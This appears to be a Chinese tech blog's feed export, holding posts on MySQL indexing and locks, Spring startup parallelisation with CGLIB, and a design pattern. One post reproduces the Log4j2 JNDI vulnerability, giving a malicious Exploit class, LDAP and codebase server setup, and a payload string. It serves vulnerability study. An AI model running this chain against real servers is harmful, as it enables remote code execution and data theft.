<li>select table optimized away 在没有group by子句的情况下,基于索引优化min/max操作或者对于myisam存储引擎优化count(*)操作,不必等到执行阶段再进行计算</li>
<li>distinct:在优化distinct操作,在找到第一匹配的元组后即停止找到同样值的动作</li>
</ol>
<h3 id="索引失效_复合索引避免">索引失效_复合索引(避免)</h3>
<ol>
<li>应该尽量全值匹配</li>
<li>复合最佳左前缀法则(第一个索引不能掉,中间不能断开)</li>
<li>不在索引列上做任何操作(计算、函数、类型转换)会导致索引失效而转向全表扫描</li>
<li>储存引擎不能使用索引中范围条件右边的列</li>
<li>尽量使用覆盖索引(只访问索引的查询(索引列和查询列一致)),减少select*</li>
<li>mysql在使用不等于(!=或者<>)的时候无法使用索引会导致全表扫描</li>
<li>is null,is not null也会无法使用索引</li>
<li>like以统配符开头</li>
<li>字符串不加单引号</li>
<li>少用or</li>
</ol>
<h3 id="order-by-优化">order by 优化</h3>
<ol>
<li>避免filesort</li>
<li>尽量在索引上进行排序,遵照最佳左前缀原则</li>
<li>filesort有两种排序:
<ul>
<li>双路排序:两次磁盘扫描</li>
<li>单路排序:一次性读取保存在内存中,没拉完的数据再次拉</li>
<li>单路排序是后出的,总体好于双路排序</li>
<li>优化策略:
<ol>
<li>增大sort_buffer_size参数的设置</li>
<li>增大max_length_for_sort_data参数的设置</li>
</ol>
</li>
<li>原因:尽可能一次拿到内存</li>
</ul>
</li>
</ol>
<hr>
<h1 id="聊聊-innodb-的那些锁事">聊聊 InnoDB 的那些“锁”事</h1>
<h2 id="并发事务处理带来的问题">并发事务处理带来的问题</h2>
<h2 id="事务隔离级别">事务隔离级别</h2>
<h2 id="事务隔离实现">事务隔离实现</h2>
<h3 id="数据加锁">数据加锁</h3>
<h4 id="innodb-的锁">InnoDB 的锁</h4>
<h5 id="auto-inc-locks-自增锁">Auto-inc Locks 自增锁</h5>
<h5 id="shared-and-exclusive-locks-共享排他锁">shared and exclusive locks 共享/排他锁</h5>
<h5 id="intention-locks-意向锁">Intention Locks 意向锁</h5>
<h4 id="innodb-锁算法">InnoDB 锁算法</h4>
<h5 id="record-locks-记录锁">Record Locks 记录锁</h5>
<h5 id="gap-locks-间隙锁">Gap Locks 间隙锁</h5>
<h5 id="next-key-locks-临键锁">Next-key Locks 临键锁</h5>
<h5 id="insert-intention-locks-插入意向锁">Insert Intention Locks 插入意向锁</h5>
<h5 id="mdl-元数据锁">MDL 元数据锁</h5>
<h3 id="mvcc-多版本并发控制">MVCC 多版本并发控制</h3>
<h4 id="mvcc-简介">MVCC 简介</h4>
<h4 id="mvcc-实现原理">MVCC 实现原理</h4>
<h4 id="mvcc-读分类">MVCC 读分类</h4>
<h4 id="two-phase-locking-protocol-两阶段锁协议">two-phase locking protocol 两阶段锁协议</h4>
<h4 id="sql-语句如何加锁rr-级别下">SQL 语句如何加锁(RR 级别下)</h4>
<h2 id="扩展阅读-参考">扩展阅读 & 参考</h2>
<h1 id="你真的看懂日志了吗">你真的看懂日志了吗?</h1>
<h2 id="binlog-详解">Binlog 详解</h2>
<h3 id="基本概念">基本概念</h3>
<h3 id="日志结构">日志结构</h3>
<h3 id="日志格式">日志格式</h3>
<h3 id="日志时间结构">日志时间结构</h3>
<h2 id="binlog-应用">Binlog 应用</h2>
<h3 id="主从同步">主从同步</h3>
<h3 id="数据恢复">数据恢复</h3>
<h4 id="对比-redo-log">对比 redo log</h4>
<h2 id="案例分析">案例分析</h2>
<h2 id="参考资料">参考资料</h2>
<h1 id="认识一下主从原理和延迟">认识一下主从原理和延迟</h1>
<h2 id="主从集群">主从集群</h2>
<h2 id="主从同步-2">主从同步</h2>
<h3 id="binlog-是什么有什么用">binlog 是什么?有什么用?</h3>
<h3 id="主从复制">主从复制</h3>
<h3 id="puma-databus-应用">Puma & Databus 应用</h3>
<h2 id="主从延迟">主从延迟</h2>
<h3 id="主从延迟是怎么回事">主从延迟是怎么回事?</h3>
<h3 id="为啥会主从延迟">为啥会主从延迟?</h3>
<h4 id="是-t2-t1-吗">是 T2-T1 吗?</h4>
<h4 id="是-t3-t2-吗">是 T3-T2 吗?</h4>
<h4 id="多线程复制">多线程复制</h4>
<h5 id="按库并行">按库并行</h5>
<h5 id="redo-log-group-commit-组提交优化">redo log group commit (组提交)优化</h5>
<h5 id="writeset-的并行复制">WRITESET 的并行复制</h5>
<h3 id="怎么减少主从延迟">怎么减少主从延迟</h3>
<h2 id="case-分析">Case 分析</h2>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[安全|Log4j2 复现与原理]]></title>
<id>https://yao177.github.io/post/log4j2/</id>
<link href="https://yao177.github.io/post/log4j2/">
</link>
<updated>2021-12-11T09:13:04.000Z</updated>
<content type="html"><![CDATA[<h1 id="漏洞复现">漏洞复现</h1>
<h2 id="利用条件">利用条件:</h2>
<p>靶机需要能访问外网,若 jdk8 需要小于 u124</p>
<h2 id="web服务器">Web服务器</h2>
<p>任意未更新 log4j 至最新版的服务,以 crm(本人负责服务)为例。</p>
<h2 id="codebase服务器">CodeBase服务器</h2>
<p>直接用 python 自带的 SimpleHttpServer 即可。将恶意 class 放入目录下。</p>
<pre><code class="language-java">public class Exploit {
static {
// try {
// Runtime.getRuntime().exec("reboot"); 可以是任意代码,例如关机指令、进程关闭、将服务器文件外传、将内网拓扑结构外传、嵌入挖矿软件,any
// } catch (IOException e) {
// e.printStackTrace();
// }
System.out.println("Exploit!");
}
}
</code></pre>
<p>启动服务器:python3 -m SimpleHTTPServer 1234</p>
<p>于是得到 codebase 地址:http://127.0.0.1:1234/</p>
<h2 id="ldap服务器">LDAP服务器</h2>
<p>随便找个LDAP简易服务器框架,例如https://github.com/mbechler/marshalsec</p>
<p>该框架运行参数为<code><codebase_url#classname> [<port>]</code></p>
<p>我们测试时设置为:http://127.0.0.1:1234/#Exploit 2345</p>
<h2 id="复现">复现</h2>
<p>已知 controller 会打印参数信息,于是我们搜索:<br>
<img src="https://yao177.github.io/post-images/1646129092453.png" alt="" loading="lazy"></p>
<p>payload:<code>${jndi:ldap://127.0.0.1:2345/Exploit}</code><br>
得到:<br>
<img src="https://yao177.github.io/post-images/1646129683700.png" alt="" loading="lazy"></p>
<p>相关利用姿势:上传堆栈、上传业务类字节码,而后可以将所有源码看尽。</p>
<h2 id="完整攻击链">完整攻击链</h2>
<p>总结完整攻击链:<br>
<img src="https://yao177.github.io/post-images/1646129822790.svg" alt="" loading="lazy"></p>
<p>该漏洞及其危险,黑客只需额外两台服务器,并在任何可能被日志打印的接口参数中嵌入恶意信息即可。若靶机 jdk 版本大于等于 u124,那将无法复现解析 reference 以访问 codebase 服务器。</p>
<h1 id="漏洞原理">漏洞原理</h1>
<h2 id="log4j">log4j</h2>
<figure data-type="image" tabindex="1"><img src="https://yao177.github.io/post-images/1646130822954.png" alt="" loading="lazy"></figure>
<p>绕过冒号前缀校验</p>
<figure data-type="image" tabindex="2"><img src="https://yao177.github.io/post-images/1646130861459.png" alt="" loading="lazy"></figure>
<p>将特殊指令解析为 jndi 指令=<br>
访问 LDAP 服务器,接收构造好的指向外部的 Reference(有两种传输方式,一种Reference,一种本地序列化)</p>
<figure data-type="image" tabindex="3"><img src="https://yao177.github.io/post-images/1646130936561.png" alt="" loading="lazy"></figure>
<p>web 服务器接收后,反序列化 reference,并从 codebase 的URL对象中获取字节流:</p>
<p><img src="https://yao177.github.io/post-images/1646130973181.png" alt="" loading="lazy"><br>
<img src="https://yao177.github.io/post-images/1646130999277.png" alt="" loading="lazy"><br>
<img src="https://yao177.github.io/post-images/1646131017114.png" alt="" loading="lazy"><br>
<img src="https://yao177.github.io/post-images/1646131035747.png" alt="" loading="lazy"></p>
<p>利用我们定义的 javaFactory 进行类加载,还记得我们的设定么:</p>
<figure data-type="image" tabindex="4"><img src="https://yao177.github.io/post-images/1646131063716.png" alt="" loading="lazy"></figure>
<p>这个ref便是我们的HTTP服务器:http://127.0.0.1:1234/,至此完成攻击。</p>
<h1 id="example">Example</h1>
<p>*ppo login、5*8 online</p>
<pre><code class="language-java"> com.bj58.spat.wcs.consultstatistics.modules.kafka.KafkaConsumerTool.printLog(KafkaConsumerTool.java:42),
com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run$original$J2L3KrD0(MsgLogConsumer.java:78), com.bj58.spat.w')
(['Sat Dec 11 21:06:39 2021'], ':', 'ender.append(AbstractOutputStreamAppender.java:108), org.apache.logging.log4j.core.appender.RollingFileAppender.append(RollingFileAppender.java:88), org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:99), org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:430), org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:409), org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:367), org.apache.logging.log4j.core.Logger.logMessage(Logger.java:112), org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:738), org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:708), org.apache.logging.slf4j.Log4jLogger.info(Log4jLogger.java:193), com.bj58.spat.wcs.consultstatistics.modules.kafka.KafkaConsumerTool.printLog(KafkaConsumerTool.java:42), com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run$original$J2L3KrD0(MsgLogConsumer.java:78), com.bj58.spat.w')
('receive from 2:', 'cs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run$original$J2L3KrD0$accessor$LturF6aU(MsgLogConsumer.java), com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2$auxiliary$DWlZw7JW.call(Unknown Source), org.apache.skywalking.apm.plugin.jdk.threading.ThreadingMethodInterceptor_internal.intercept(InstanceMethodInterTemplate.java:93), com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run(MsgLogConsumer.java)]\n')
(['Sat Dec 11 21:06:39 2021'], ':', 'cs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run$original$J2L3KrD0$accessor$LturF6aU(MsgLogConsumer.java),
com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2$auxiliary$DWlZw7JW.call(Unknown Source),
org.apache.skywalking.apm.plugin.jdk.threading.ThreadingMethodInterceptor_internal.intercept(InstanceMethodInterTemplate.java:93), com.bj58.spat.wcs.consultstatistics.modules.kafka.consumers.MsgLogConsumer$2.run(MsgLogConsumer.java)]\n')
</code></pre>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[Java 框架|Spring 启动加速器]]></title>
<id>https://yao177.github.io/post/concurrent-spring-startup/</id>
<link href="https://yao177.github.io/post/concurrent-spring-startup/">
</link>
<updated>2021-11-23T06:20:13.000Z</updated>
<content type="html"><![CDATA[<h1 id="写在前面">写在前面</h1>
<p>Spring 官网自豪地对自家产品评价到:快速、简单、安全。「快速」被其列为了第一位,可见这是 Spring 最引以为傲的特性。<br>
<img src="https://yao177.github.io/post-images/1646029531559.jpeg" alt="Spring 官网介绍" loading="lazy"><br>
「快速」意味着快速开发、快速启动、快速运行……而对于「快速启动」这一点,开发人员也许还有可乘之机。</p>
<h1 id="项目背景">项目背景</h1>
<p>服务部署虽然通常给开发人员提供了宝贵的休息时间,但服务启动时间过长,也势必会影响开发效率,增大回滚时的风险。<br>
Spring Bean 初始化耗时占 Spring 启动时间的70%,若能优化 Spring Bean 的初始化时间,则会达到提高服务启动速度的目的。<br>
concurrent-spring-startup 是一个旨在让 Spring 通过并行化来提高启动速度的项目,无代码侵入,绿色健康可食用。</p>
<h1 id="知识背景">知识背景</h1>
<h2 id="spring">Spring</h2>
<h3 id="spring-简述">Spring 简述</h3>
<p>Spring 框架可以被理解为一个容器,它帮我们管理了应用程序所需要的所有 Bean。<br>
例如:我们会在项目里的很多地方用到同一个数据库连接池,我们只需要将它声明为一个 Spring Bean。Spring 启动时,会将这个 bean 创建并小心翼翼地保护好。在任何我们需要的时候,向它索取即可。<br>
Spring 的启动过程涉及非常多的逻辑。本文围绕 Bean 的生命周期来对这一过程做介绍。Spring 的启动可以简单理解为下面三部曲:<br>
<img src="https://yao177.github.io/post-images/1646036988133.svg" alt="Spring 简易启动流程" loading="lazy"></p>
<h3 id="spring-关键组件">Spring 关键组件</h3>
<h4 id="beanfactory">BeanFactory</h4>
<p>即 Spring 用来管理 Bean 的容器,用户可以按照名称、类型等信息来获取指定的 Bean。<br>
在这个接口的不同实现中,Spring 管理了不同类型Bean的生命周期(实例化、初始化、销毁)。它容纳了 Spring 中各个Bean的实例、Bean 的定义(来自 XML 或代码)。<br>
它是 Spring 框架的核心接口。<br>
其本身只包含获取 Bean 的方法,而其具体实现类有一些重要方法:</p>
<ul>
<li><code>getBean (String beanName)</code><br>
从Spring 容器中获取指定名称的Bean实例。若还没有创建,则创建之。事实上,Spring 正是通过这个方法来创建 Bean 的。</li>
<li><code>populateBean (String beanName, RootBeanDefinition mbd, BeanWrapper bw)</code><br>
用于 Bean 的实例化。getBean 被执行时,Spring 会调用 populateBean 进行 bean 的创建。参数 mbd 即 bean 的属性定义,例如我们在 XML 里面设置的字段和值。若 bean 依赖了其它 bean,它还会触发其它 bean 的创建和注入。</li>
</ul>
<h4 id="applicationcontext">ApplicationContext</h4>
<p>BeanFactory 接口的子类,拓展了很多功能供开发者使用,例如手动注入 bean、获取 bean、获取 bean的指定属性等。<br>
它内部持有另一个 BeanFactory 的引用,并全权负责这个 BeanFactory 的生命周期(实例化、初始化、销毁)。因此它对 BeanFactory 接口的实现都是基于这个内部BeanFactory的。也就是说,ApplicationContext 是专门给外部使用的(Springboot、开发者),而它所提供的花里胡哨的功能具体实现是由内部的 beanFactory 去完成的。<br>
事实上 ApplicationContext 其实不用实现BeanFactory接口,它已经提供了<code>getAutowireCapableBeanFactory</code>方法来获得“真正的 BeanFactory”。也许是为了不让开发者在两个接口中来回切换,只关注一个 Spring 组件,于是一并把 BeanFactory 接口实现了。明白这一点可以让读者理解 ApplicationContext 和 BeanFactory 的关系。<br>
在它的实现类中,有一些重要的方法:</p>
<ul>
<li><code>refresh()</code><br>
大名鼎鼎的refresh方法即为Spring容器启动的入口。该方法会完整地创建自己持有的BeanFactory,并执行它的初始化动作(例如扫描Bean定义、实例化所有Bean、初始化所有Bean、添加各类处理器和监听器)。如果已经存在一个初始化完毕的BeanFactory,那就先销毁它,“推翻重来”。</li>
<li><code>loadBeanDefinitions(DefaultListableBeanFactory factory)</code><br>
在refresh方法里执行。ApplicationContext 会扫描所有定义 Bean 的地方(XML、注解、Groovy 等),并将其放置到内部持有的这个 factory 里面(通常是一个 Map<String, BeanDefinition>)。</li>
</ul>
<h4 id="beanpostprocessor">BeanPostProcessor</h4>
<p>Bean初始化前后的「钩子」。它有两个方法:</p>
<ul>
<li><code>postProcessBeforeInitialization(Object bean, String beanName)</code><br>
在具体的Bean初始化前被 Spring 容器调用,并对 Bean 进行一系列操作。例如 <code>ApplicationContextAwareProcessor</code> 的该方法会根据 bean 的类型,为各个 Spring 基础组件设置默认的属性。</li>
<li><code>postProcessAfterInitialization(Object bean, String beanName)</code><br>
在具体的 Bean 初始化完成后被 Spring 容器调用,允许对 Bean 进行一系列后置的操作。<br>
注意,Spring 容器将会把这两个方法返回值作为新的 Bean 来替代原有的 Bean。本项目正是利用了这个特性来完成 Bean 的“偷天换日”。</li>
</ul>
<h4 id="instantiationawarebeanpostprocessor">InstantiationAwareBeanPostProcessor</h4>
<p>BeanPostProcessor 的子类。它新增了方法:</p>
<ul>
<li><code>postProcessPropertyValues(PropertyValues pvs, PropertyDescriptor[] pds, Object bean, String beanName)</code><br>
该方法会在 bean 属性组装时调用。这里的属性(pvs)来自于用户在 XML 中或代码里指定的 Bean 的字段或属性。事实上,Spring 正是利用它来完成了依赖注入,例如它的实现之一——<code>AutowiredAnnotationBeanPostProcessor</code> 会在这个方法里将 bean 中被 @Autowired 和 @Value 标记的字段注入具体的值或者对象。</li>
</ul>
<h3 id="spring-容器启动过程">Spring 容器启动过程</h3>
<p>有了上文的基础,Spring 容器的启动流程可以进一步描述为:<br>
<img src="https://yao177.github.io/post-images/1646040974089.svg" alt="Spring 启动流程" loading="lazy"></p>
<h3 id="spring-与本项目的联系">Spring 与本项目的联系</h3>
<ul>
<li>本项目利用 Spring 的<code>BeanPostProcessor</code>来将原有 Bean 替换为自定义动态代理对象</li>
<li>利用<code>ApplicationListener</code>来保证 Spring 启动完成前所有的异步方法执行完成</li>
</ul>
<h2 id="cglib">CGLIB</h2>
<h3 id="cglib-简述">CGLIB 简述</h3>
<p>CGLIB 是一个运行时的字节码生成工具。<br>
在平时,字节码文件都是编译时创建的。而 CGLIB 可以在运行时创建字节码,故称作“动态”代理。<br>
CGLIB 可以用来为某个类创建一个子类,并在其方法(非全部)被调用时进行拦截,执行自己的逻辑。<br>
在 Spring 的 AOP 场景中,CGLIB 被大量使用。</p>
<h3 id="cglib-的使用示例">CGLIB 的使用示例</h3>
<pre><code class="language-java">public class CglibTest {
public void print() {
System.out.println("CglibTest#print be invoked");
}
public static void main(String[] args) {
Enhancer enhancer = new Enhancer(); //CGLIB的工具类
enhancer.setSuperclass(CglibTest.class); //需要设置一个父类
enhancer.setCallback(new MethodInterceptor() { //方法拦截器,o为代理对象,method为被调用的方法,objects为方法参数,methodProxy为代理方法,通常用于执行父类(原类)方法
@Override
public Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable {
System.out.println("CglibTestProxy#print be invoked");
methodProxy.invokeSuper(o, objects); //执行父类方法
return null;
}
});
CglibTest cglibTest = (CglibTest) enhancer.create(); //创建代理对象
cglibTest.print(); //执行方法
}
}
</code></pre>
<p>输出结果</p>
<pre><code class="language-Shell">CglibTestProxy#print invoked
CglibTest#print invoked
</code></pre>
<p>运行示意图:<br>
<img src="https://yao177.github.io/post-images/1646041699356.svg" alt="cglib 代理流程" loading="lazy"></p>
<h3 id="cglib-和-jdk-动态代理的区别">CGLIB 和 JDK 动态代理的区别</h3>
<ul>
<li>使用区别:CGLIB 支持直接代理现成的类;JDK 只支持接口代理,应用场景被大打折扣。</li>
<li>效率区别:CGLIB 比 JDK 动态代理快出不止一个数量级。原因是拦截器入参中的 MethodProxy 里面会直接用原父类的引用进行方法调用,而非通过 Method 对象反射调用。<br>
读者可以简单理解为<code>super.print()</code>远比<code>super.class.getMethod("print").invoke()</code>快很多。这块实现较为复杂,由于篇幅限制,可以通过 <a href="https://zhuanlan.zhihu.com/p/106069224">CGLIB 动态代理的使用和分析</a> 简单了解。</li>
</ul>
<h3 id="注意事项">注意事项</h3>
<p>由于 CGLIB 本质是实现一个子类,因此它不能代理 final 修饰的类;<br>
由于 private、final 方法不能被继承,因此它的拦截器无法获取 private、final 修饰的方法;<br>
不要在<code>MethodProxy</code>中直接调用 invoke,这会导致循环调用,重复进入拦截器。应当只调用其<code>invokeSuper</code>方法。</p>
<h3 id="cglib-与本项目的联系">CGLIB 与本项目的联系</h3>
<p>利用 CGLIB 实现原有 Bean 的动态代理,配置自定义的方法策略。</p>
<h1 id="设计思路">设计思路</h1>
<p>由知识背景知,一个原生的 Spring 启动流程已在上文中举出。<br>
由项目背景得知,这个过程中耗时最长的是 Bean 的初始化。RPC 客户端与服务端建立连接、各个中间件连接池的创建等都在各自的 Bean 初始化中完成。这中间不乏复杂的计算逻辑和耗时的 IO 操作。倘若我们将 Bean 的初始化改成异步执行,那将实现 bean 的并行初始化,加快启动速度。</p>
<h2 id="提出目前的问题和对应解决方案">提出目前的问题和对应解决方案:</h2>
<ol>
<li>Bean 本身的初始化方法都是同步的,如何实现异步?——使用 CGLIB 代理,当执行初始化方法时放入线程池异步执行;</li>
<li>如何让 Spring 的 Bean 替换成我们的动态代理对象?——实现<code>BeanPostProcessor#postProcessBeforeInitialization</code>方法来在bean初始化前进行替换;</li>
<li>如何让保证 Bean 在被其他组件使用时,不会出现 Bean 未初始化完成的情况?——让 Bean 其他方法执行时同步等待其初始化完成;</li>
<li>如何保证 Spring 启动后,所有的 Bean 都初始化完成?——实现<code>ApplicationListener</code>来等待 Spring 启动完成通知,等待所有 Bean 初始化完成。<br>
至此,我们已经形成了解决思路,下节介绍项目具体实现。</li>
</ol>
<h1 id="原理介绍">原理介绍</h1>
<h2 id="项目概览">项目概览</h2>
<figure data-type="image" tabindex="1"><img src="https://yao177.github.io/post-images/1646048369211.svg" alt="优化启动流程" loading="lazy"></figure>
<h2 id="创建代理流程">创建代理流程</h2>
<figure data-type="image" tabindex="2"><img src="https://yao177.github.io/post-images/1646049504592.svg" alt="创建代理流程" loading="lazy"></figure>
<h2 id="前置校验">前置校验</h2>
<p>前置校验分为两部分,一是 Bean 的类能否创建 CGLIB 代理,二是该 Bean 的初始化方法能否被 CGLIB 代理。</p>
<h3 id="如何获取-bean-的初始化方法">如何获取 Bean 的初始化方法</h3>
<p>Spring Bean 有三种初始化方法(按执行顺序):</p>
<ol>
<li><code>@PostConstruct</code>注解标记的方法<br>
获得方式:通过扫描类的方法注解可以过滤出。</li>
<li><code>InitializingBean</code>的<code>afterPropertiesSet</code>方法<br>
获得方式:直接反射获得之。</li>
<li>XML 中指定的<code>init-method</code>方法<br>
获得方式:反射获取该 Bean 的 <code>AbstractBeanDefinition</code> 的 <code>initMethodName</code> 字段。</li>
</ol>
<h3 id="校验类型">校验类型</h3>
<ol>
<li>该类能否被 CGLIB 代理
<ul>
<li>有无参构造函数</li>
<li>该类必须被声明为非 final 的</li>
<li>该类不能是 JDK 代理类或者 CGLIB 代理类</li>
</ul>
</li>
<li>该 Bean 的初始化方法能否被 CGLIB 代理
<ul>
<li>该方法必须被声明为非 final 的</li>
<li>该方法必须为非 static 或 private 的</li>
</ul>
</li>
</ol>
<h2 id="装配代理方法策略">装配代理方法策略</h2>
<blockquote>
<p>什么是代理方法策略:<br>
在代理对象被外部调用时,代理方法策略能将原有方法路由到不同的代理方法,以此确定方法的真正执行过程。</p>
</blockquote>
<p>在项目中,该策略实体是一个<code>ConcurrentHashMap</code>,key值为Method,value为WrappedMethod。<br>
<em>注:下表中original bean表示代理类持有的原bean的引用,method表示该方法策略被命中时,代理类被外部调用的方法</em></p>
<table>
<thead>
<tr>
<th>Bean 原有方法</th>
<th>代理策略</th>
<th>执行流程</th>
<th>附加说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>初始化方法</td>
<td>AsyncMethod</td>
<td>等待其依赖的 AsyncMethod 执行完毕后,在线程池中注册异步任务,对 original bean 执行 method。</td>
<td>该策略是项目能加速的原因。<br>其通过持有一个依赖的 AsyncMethod 引用,来保证初始化方法执行顺序是不变的。</td>
</tr>
<tr>
<td>Object.class的方法<br><code>FactoryBean#getObjectType</code></td>
<td>SyncMethod</td>
<td>直接令original bean执行method。</td>
<td>FactoryBean#getObjectType 的注释中明确说明,若方法返回 null 则表明该 bean 还未被初始化,因此提前调用是不违背 Spring 规范的。通过直接调用它来预测 FactoryBean#getObject 的返回类型,创建代理对象。</td>
</tr>
<tr>
<td>FactoryBean#getObject</td>
<td>ObjectProxyMethod</td>
<td>返回一个动态代理对象,该对象在被实际调用方法时必须等待其 FactoryBean 代理对象的所有 AsyncMethod 完成。</td>
<td>FactoryBean 初始化完成后,会调用 getObject,将返回值注入到 Spring 容器中。因此我们通过返回代理对象,在对象实际被调用的时候再等待 FactoryBean 初始化完成,来实现一个“懒加载”,增加并发度。</td>
</tr>
<tr>
<td>WrappedProxyBean#getOriginalBean<br>WrappedProxyBean#setOriginalBean</td>
<td>OriginalBeanGetterMethod<br>OriginalBeanSetterMethod</td>
<td>返回/设置该代理对象持有的original bean</td>
<td>这个组件内的所有代理对象都将实现 WrappedProxyBean 接口,用于返回/设置该代理对象持有的 original bean。</td>
</tr>
<tr>
<td>其余方法</td>
<td>DefaultMethod</td>
<td>等待该代理类的所有 AsyncMethod 完成时,执行 method。</td>
<td>其他方法调用时,必须等待所有 AsyncMethod 执行完成,以保证执行顺序不改变。</td>
</tr>
</tbody>
</table>
<p>下图是代理对象被执行时,代理方法策略的匹配过程。<br>
<img src="https://yao177.github.io/post-images/1646106362899.svg" alt="代理方法策略匹配流程" loading="lazy"></p>
<h2 id="对-factorybean-的特殊处理">对 FactoryBean 的特殊处理</h2>
<p>FactoryBean有两个重要方法:<code>getObject</code>、<code>getObjectType</code>。顾名思义,FactoryBean 是用来创建 Bean 的,因此在 FactoryBean 本身被创建后,Spring 会调用其 getObject 方法来获得一个新的 Bean,并注入到 Spring 容器中完成其整个生命周期。而 getObjectType 用于 FactoryBean 声明它所生产的 Bean 的类型。<br>
若我们不对 getObject 方法做处理,则在其被调用时,将会阻塞 Spring 线程。如图:<br>
<img src="https://yao177.github.io/post-images/1646106611326.svg" alt="阻塞spring流程" loading="lazy"><br>
如果我们令 FactoryBean 返回一个动态代理对象,并令动态代理对象被实际调用方法时,再等待 FactoryBean 初始化完成,则:<br>
<img src="https://yao177.github.io/post-images/1646106809424.svg" alt="不阻塞spring流程" loading="lazy"><br>
可以看到,对 getObject 的调用并没有阻塞 Spring 主线程,从而提高了启动速度。</p>
<h2 id="创建代理对象">创建代理对象</h2>
<ol>
<li>将 bean 的类型作为父类,将装配了代理方法策略的 MethodInterceptor 作为拦截器,利用 CGLIB 的 Enhancer 生成代理对象;</li>
<li>将该 Enhancer 实例存入缓存中,供之后相同类型的 Bean 直接使用,以此跳过前置校验和方法装配阶段;</li>
<li>将代理对象返回给 Spring 容器。</li>
</ol>
<h2 id="场景示例">场景示例</h2>
<p>假设有如下两个 Bean:</p>
<pre><code class="language-java">@Bean
public class RpcClient implements FactoryBean, InitializingBean {
RpcClient() {
}
public void afterPropertiesSet() {
// do some socket work
}
public Object getObject() {
return new RpcService();
}
public Class getObjectType() {
return RpcService.class;
}
// other method
}
</code></pre>
<pre><code class="language-java">@Bean
public Manger {
@Resource
RpcService rpcService;
public String getName(int id) {
return rpcService.getName(int id);
}
</code></pre>
<pre><code class="language-java">public interface RpcService {
String getName(int id);
}
</code></pre>
<p>当 Spring 启动时,本项目做以下事情:</p>
<ul>
<li>异步执行 RpcClient 的初始化方法,并返回 rpcClientProxy 给 Spring 容器;</li>
<li>Spring 执行 rpcClientProxy 的 getObject 方法,得到 rpcServiceProxy;</li>
<li>解决 Manger 依赖时,将 rpcServiceProxy 注入到 rpcService 字段;</li>
<li>当项目启动结束前,本项目将会等待 rpcClientProxy 的异步方法执行完毕。<br>
当<code>Manger#getName</code>被调用时:<br>
<img src="https://yao177.github.io/post-images/1646112526954.svg" alt="Manger#getName" loading="lazy"></li>
</ul>
<p>当 Spring 启动完成前,本项目会等待所有的异步方法执行完毕。因此当用户请求打入时,并不存在等待的过程。</p>
<h1 id="风险评估">风险评估</h1>
<p>本项目人为修改了部分 Spring 加载 Bean 的流程,因此不可避免地需要进行一些风险评估。</p>
<h2 id="如何保证代理对象的行为和原有-bean-的属性-行为一致">如何保证代理对象的行为和原有 Bean 的属性、行为一致?</h2>
<p>代理对象没有修改原有 Bean 的方法逻辑,它持有一个原有 bean 的引用,任何方法调用最终都会调用原有 bean 方法,因此属性和行为是没有变动的。</p>
<h2 id="如何保证代理对象方法执行顺序不会错乱">如何保证代理对象方法执行顺序不会错乱?</h2>
<p>本项目通过为所有的异步方法指定执行顺序,来保证它们不会并发执行;而对于其他方法,除能直接执行的方法 (Object.class 的方法、getObjectType 方法) 外,其余均需要等待初始化完成,保证了 Bean 相关代码的执行顺序。</p>
<h2 id="其他可能的风险如何解决">其他可能的风险如何解决?</h2>
<p>在初始化方法中操作 BeanFactory 可能导致项目死锁,无法启动。<br>
任何通过 BeanFactory 获取或操作 Bean 的行为都会被 Spring 并发控制。具体实现是通过 synchronized 获取 singletonObjects(<code>ConcurrentHashMap<String, Object></code>,存放所有单例 Bean 的容器)的对象锁来避免同时操作单例 Bean 容器。<br>
由于 BeanPostprocessor 处于 Bean 加载的上下文中,因此总是持有 singletonObjects 的对象锁;若 Bean 在初始化方法中利用 beanFactory 操作其他 Bean ,则会导致如下情况:<br>
<img src="https://yao177.github.io/post-images/1646113568033.svg" alt="对象锁" loading="lazy"><br>
因此本项目通过死锁超时检测,当主线程序阻塞一定时间后(例如20s),抛出导致死锁的类名,用户可以在注解中通过 exclude 指定不为该类创建动态代理。</p>
<h1 id="总结">总结</h1>
<p>至此,项目已介绍完成,想随便聊聊。<br>
本质上,这个项目就是利用了懒加载特性,先有个壳,再加载真正的 Bean 实体;其实这个思想在算法中也很常见,例如二分思想的经典算法——线段树,利用 lazy propagation (惰性传播) 在父节点打上修改的标记而不直接修改,只有真正访问到时才往子节点进行传递,提升了效率。</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[设计模式|解释器模式]]></title>
<id>https://yao177.github.io/post/interpreter-pattern/</id>
<link href="https://yao177.github.io/post/interpreter-pattern/">
</link>
<updated>2021-08-20T09:21:18.000Z</updated>
<content type="html"><![CDATA[<blockquote>
<p>轮子是如何变圆的</p>
</blockquote>
<h2 id="麻烦的需求">麻烦的需求</h2>
<h3 id="场景1">场景1:</h3>
<p>张三喜欢为同事们造轮子。现在有同事小王需要计算“1+2*3”,如何最快速度提供轮子?</p>
<pre><code class="language-java">public class CalUtil {
public static int getValue(){
return 1+2*3;
}
}
</code></pre>
<h3 id="场景2">场景2:</h3>
<p>小王表示他还需要计算“1+2*3”或者“1+2/3”或者“2-5”,如何提供运行效率最高的轮子?</p>
<pre><code class="language-java">/*利用操作数栈和符号栈,取自大学课设代码*/
public class CalUtil {
private static Stack<Character> opeStack = new Stack<Character>();
private static Stack<Integer> numStack = new Stack<Integer>();
private static StringBuilder in = new StringBuilder();
private static StringBuilder number = new StringBuilder();
public static void main(String[] args) {
System.out.println(cal("4+6*8-5+2*11"));
}
public static int cal(String input) {
